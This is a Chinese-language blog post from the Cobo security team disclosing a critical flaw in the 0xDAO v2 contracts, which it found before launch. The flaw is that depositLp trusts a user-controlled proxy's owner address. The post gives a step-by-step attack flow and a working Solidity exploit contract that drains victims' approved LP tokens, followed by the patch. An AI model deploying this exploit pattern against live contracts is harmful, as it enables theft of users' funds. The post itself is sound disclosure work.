此篇文章由Cobo 區塊鏈安全團隊供稿,團隊成員來自知名安全實驗室,有多年網絡安全與漏洞挖掘經驗,曾協助谷歌、微軟等廠商處理高危漏洞並獲致謝,在微軟MSRC 最有價值安全研究員Top 榜單中取得卓越的成績。團隊目前重點關注智能合約安全、DeFi 安全等方向,研究並分享前沿區塊鏈安全技術。我們也希望對加密數字貨幣領域有研究精神和科學方法論的終身迭代學習者可以加入我們的行列,向行業輸出思考洞察與研究觀點!

此篇是CoboLabs的第8篇文章。

TL;DR

3月2日,0xDAO v2 原計劃上線前的幾個小時,Cobo 區塊鏈安全團隊啟動對該項目的DaaS 投前例行安全評估工作,隨後快速地在github 開源的項目代碼中發現了一個嚴重的安全漏洞。經評估,如果0xDAO v2 此時繼續上線,該漏洞預計會造成數億美金的資產損失。

Cobo 區塊鏈安全團隊立即啟動應急預案,快速通過多個渠道聯繫到0xDAO 項目方,提交該漏洞的完整攻擊流程,緊急叫停了項目上線,隨後協助0xDAO 項目方對該漏洞進行了修復。日前,0xDAO 官方發布推文向Cobo 區塊鏈安全團隊表示了感謝,並且表示會按照嚴重漏洞級別(Critical) 給予Cobo 區塊鏈安全團隊漏洞賞金獎勵。

原推鏈接:https://twitter.com/0xDAO_fi/status/1509468844942839809

項目方針對漏洞影響的反饋。

關於0xDAO

1月21日,0xDAO 項目v1 版本上線。 0xDAO v1 的目的主要是為了提高TVL 爭奪Andre Cronje 的veNFT 的空投份額。項目上線後很短時間內即達到40 億美金TVL。在成功奪取到最大veNFT 最大份額後,0xDAO 進入第二階段。 v2 版本的0xDAO 將成為Andre Cronje 新項目Solidly 的收益聚合器(Yield Hub),項目方啟動新的合約開發工作。

本次漏洞出現在0xDAO v2 版本合約代碼中。

漏洞原理

0xDAO v2 設計上要求用戶在前端統一通過UserProxyInterface 合約與協議進行交互。 UserProxyInterface 合約會調用UserProxyFactory.createAndGetUserProxy 為每個用戶地址創建一個UserProxy 合約。相關代碼如下:

contract UserProxyFactory is ProxyImplementation { /** * @notice Create and or get a user's proxy * @param accountAddress Address for which to build or fetch the proxy */ function createAndGetUserProxy(address accountAddress) publicreturns(address) { // Only create proxies if they don't exist already bool userProxyExists = userProxyByAccount[accountAddress] != address(0); if (!userProxyExists) { require( msg.sender == userProxyInterfaceAddress, 'Only UserProxyInterface can register new user proxies' ); // 創建UserProxy // 以accountAddress 為owner // 以userProxyTemplateAddress 為implementation address userProxyAddress = address( new UserProxy(userProxyTemplateAddress, accountAddress) ); // 初始化// Set initial implementations IUserProxy(userProxyAddress).initialize( accountAddress, userProxyInterfaceAddress, oxLensAddress, implementationsAddresses ); // Update proxies mappings userProxyByAccount[accountAddress] = userProxyAddress; userProxyByIndex[userProxiesLength] = userProxyAddress; userProxiesLength++; isUserProxy[userProxyAddress] = true; } return userProxyByAccount[accountAddress]; }}contract UserProxyInterface { // 這個合約是用戶前端交互的入口。 // Only allow users to interact with their proxy function createAndGetUserProxy() internal returns (IUserProxy) { return IUserProxy( IUserProxyFactory(userProxyFactoryAddress) .createAndGetUserProxy(msg.sender) ); }}

UserProxyFactory 創建的UserProxy 是可升級合約,合約owner 為用戶地址。用戶可以通過升級合約來任意修改合約代碼及storage,意味著該合約內容完全是用戶可控的。 UserProxy 合約代碼如下:

contract UserProxy { bytes32 constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; // keccak256('eip1967.proxy.implementation') bytes32 constant OWNER_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; // keccak256('eip1967.proxy.admin') constructor(address _implementationAddress, address _ownerAddress) { assembly { sstore(IMPLEMENTATION_SLOT, _implementationAddress) sstore(OWNER_SLOT, _ownerAddress) } } function implementationAddress() external viewreturns(address_implementationAddress){ assembly { _implementationAddress := sload(IMPLEMENTATION_SLOT) } } function ownerAddress() public view returns (address _ownerAddress) { assembly { _ownerAddress := sload(OWNER_SLOT) } } function updateImplementationAddress(address _implementationAddress)external { require( msg.sender == ownerAddress(), 'Only owners can update implementation' ); assembly { sstore(IMPLEMENTATION_SLOT, _implementationAddress) } } function updateOwnerAddress(address _ownerAddress) external { require(msg.sender == ownerAddress(), 'Only owners can update owners'); assembly { sstore(OWNER_SLOT, _ownerAddress) } } // ....}

用戶所有操作都將通過UserProxy 合約作為中間代理與0xDAO 協議交互。下面是以用戶執行deposit 操作為例。 UserProxyInterface 的depositLp 方法實現如下:

contract UserProxyInterface { function depositLp(address solidPoolAddress, uint256 amount) public { // 找到msg.sender 對應的userProxy,如果沒有就會自動創建。 IUserProxy userProxy = createAndGetUserProxy(); // 從userProxy 中取出ownerAddress address userProxyOwnerAddress = userProxy.ownerAddress(); // 將userProxyOwnerAddress 的LP 轉到自身IERC20(solidPoolAddress).transferFrom( userProxyOwnerAddress, address(this), amount ); / / 將自身的LP 授權給userProxy 合約。 IERC20(solidPoolAddress).approve(address(userProxy), amount); // 調用proxy 合約的depositLp 方法userProxy.depositLp(solidPoolAddress, amount); }}

用戶正常的deposit 流程為:1. 用戶首先將自己的LP token 授權給UserProxyInterface 合約2. 用戶調用UserProxyInterface.depositLp 函數。 3. 根據depositLp 代碼的邏輯,用戶資產先會轉移到UserProxyInterface 合約中,再授權給userProxy 合約。 4. 最後調用userProxy.depositLp 完成後續的deposit 操作。但這段代碼中存在致命的缺陷:合約沒有檢查userProxy.ownerAddress() 與合約調用的發起者即msg.sender 是否一致。由於userProxy 合約的內容是用戶完全可控的,那麼攻擊者可以將自身userProxy 的ownerAddress 設置為受害者地址,然後利用代碼中的IERC20(solidPoolAddress).approve(address(userProxy), amount) 得到受害者資產授權,盜取受害者資產。具體的攻擊流程為:通過正常的deposit 流程觸發UserProxyFactory.createAndGetUserProxy 為攻擊者賬戶創建一個UseProxy 合約。調用UseProxy.updateImplementationAddress 修改UseProxy 的Implementation 合約地址為惡意合約地址。新的惡意合約中重新實現depositLp 函數,將功能修改為將授權給該合約的Token 轉到攻擊者地址調用UseProxy.updateOwnerAddress 將ownerAddress 修改成受害者地址。調用UserProxyInterface.depositLp 觸發攻擊流程:將受害者地址授權給UserProxyInterface 的LP 代幣轉移到UserProxyInterface 合約中。將上述代幣再授權給UserProxy 合約。調用UserProxy.depositLp,由於我們已經將Implementation 替換成惡意合約,這裡實際完成的操作是將授權的代幣轉賬給攻擊者。至此針對受害者LP 資產的盜取完成。需要注意的是,上述攻擊流程的4-a 過程的成功,需要受害者事先完成過對UserProxyInterface 合約approve 代幣的操作。但由於UserProxyInterface 是合約的交互入口,所以使用0xDAO 協議的用戶均會進行這一Approve 動作。因此在鏈上找到此類受害者是比較容易的。前面漏洞解析均以depositLp 函數為例,實際UserProxyInterface 合約的withdrawLp 等函數也有類似的問題,這裡不多贅述。 withdrawLp 函數代碼如下:contract UserProxyInterface { function withdrawLp(address solidPoolAddress, uint256 amount) public { // Fetch user proxy IUserProxy userProxy = createAndGetUserProxy(); address userProxyOwnerAddress = userProxy.ownerAddress(); // Receive oxPool LP from UserProxy owner address oxPoolAddress = oxLens.oxPoolBySolidPool(solidPoolAddress); IERC20(oxPoolAddress).transferFrom( userProxyOwnerAddress, address(this), amount ); // Allow UserProxy to spend oxPool LP IERC20(oxPoolAddress).approve(address(userProxy), amount); // Withdraw oxPool LP via UserProxy (UserProxy will transfer it to owner) userProxy.withdrawLp(solidPoolAddress, amount); }}漏洞利用

根據前面的漏洞原理,Cobo 區塊鏈安全團隊實現了一個攻擊腳本Demo,代碼如下:

// SPDX-License-Identifier: MITpragma solidity 0.8.11;interface IERC20 { function transferFrom( address from, address to, uint256 amount ) external returns (bool);}interface IUserProxyInterface { function depositLp(address, uint) external;}interface IUserProxyFactory { function createAndGetUserProxy(address) external returns (address);}interface IUserProxy { function updateImplementationAddress(address _implementationAddress) external; function updateOwnerAddress(address _ownerAddress) external;}interface IUserProxyHacker{ function setHacker(address) external;}contract UserProxyHacker { address public _hacker; event GotLP(address token, address hacker, uint256 amount); function setHacker(address hacker) external { _hacker = hacker; } function run(address userProxyFactory, address userProxyInterface, address hacker, address target, address token, uint amount) public { // Create UserProxy. IUserProxyInterface(userProxyInterface).depositLp(token, 0); // Get UserProxy address ourUserProxy = IUserProxyFactory(userProxyFactory).createAndGetUserProxy(address(this)); // Change impl IUserProxy(ourUserProxy).updateImplementationAddress(address (this)); // Set hacker address. IUserProxyHacker(ourUserProxy).setHacker(hacker); // Set owner to target IUserProxy(ourUserProxy).updateOwnerAddress(target); // Call depositLp, will callback to depositLp of this address IUserProxyInterface (userProxyInterface).depositLp(token, amount); } function depositLp(address token, uint256 amount) public { IERC20(token).transferFrom(msg.sender, _hacker, amount); emit GotLP(token, _hacker, amount); } }

通過調用上述合約的run 方法,即可將任意用戶授權給UserProxyInterface 合約的任意資產轉移到黑客賬戶中。完整的複現環境見:https://github.com/CoboCustody/cobo-blog/tree/main/0xdao_exploit在這個複現中,攻擊者通過漏洞成功將受害者地址授權給UserProxyInterface 合約的ERC20 Token 全部轉移到了攻擊者地址中。

漏洞修復

經過Cobo 區塊鏈安全團隊與0xDAO 項目方的溝通,項目方很快確認了漏洞的存在,並部署了新的合約完成了漏洞修復。漏洞合約https://ftmscan.com/address/0x8dc8105fcc1b13a6ad1db83c35112a230e617e5a#code修復後的合約https://ftmscan.com/address/0xd2f585c41cca33dce5227c8df6adf604085690c2#code核心補丁代碼如下:contractUserProxyInterface{ function depositLp(address solidPoolAddress, uint256 amount) public { // Fetch user proxy IUserProxy userProxy = createAndGetUserProxy();- address userProxyOwnerAddress = userProxy.ownerAddress();+ address userProxyOwnerAddress = msg.sender; // Receive LP from UserProxy owner IERC20(solidPoolAddress).transferFrom( userProxyOwnerAddress, address(this) , amount ); // Allow UserProxy to spend LP IERC20(solidPoolAddress).approve(address(userProxy), amount); // Deposit LP into oxPool via UserProxy userProxy.depositLp(solidPoolAddress, amount); } }補丁代碼直接使用msg .sender 作為userProxyOwnerAddress 進行後續操作,從而避免了userProxyOwnerAddress 與msg.sender 不一致的情況。小結在此Cobo 區塊鏈安全團隊提醒進行DeFi 項目投資的機構與個人,在進行投資時要留意在新項目投資中可能存在的安全風險。建議:選擇開源且在上線前經過知名安全廠商進行過代碼審計的項目。選擇非匿名、在業界有一定知名度的項目方團隊。鏈上交易過程中,檢查交互的合約與項目合約地址的一致性,防範前端釣魚攻擊。盡量避免使用ERC20 無限授權。關注區塊鏈安全事件,發現風險及時響應。 Cobo 區塊鏈安全團隊將持續關注區塊鏈、DeFi 安全的前沿攻防技術,保障客戶資產安全,並為整個區塊鏈行業安全水平的提高貢獻自己的力量。 Cobo Labs 希望協助加密世界投資者規避風險、提高收益,為傳統金融機構、風險投資公司、通證基金、個人投資者、交易所、媒體等夥伴提供客觀、有深度的數據分析。關於亞太最大的加密貨幣託管及資管平台Cobo:我們向機構提供領先的安全託管與企業資管業務;我們向全球高淨值合格投資人提供加密數字錢包業務和豐富靈活的定期與結構化產品,我們關注金融創新,並於2020 年第三季度成立了第一家面向全球機構的基金產品「DeFi Pro」。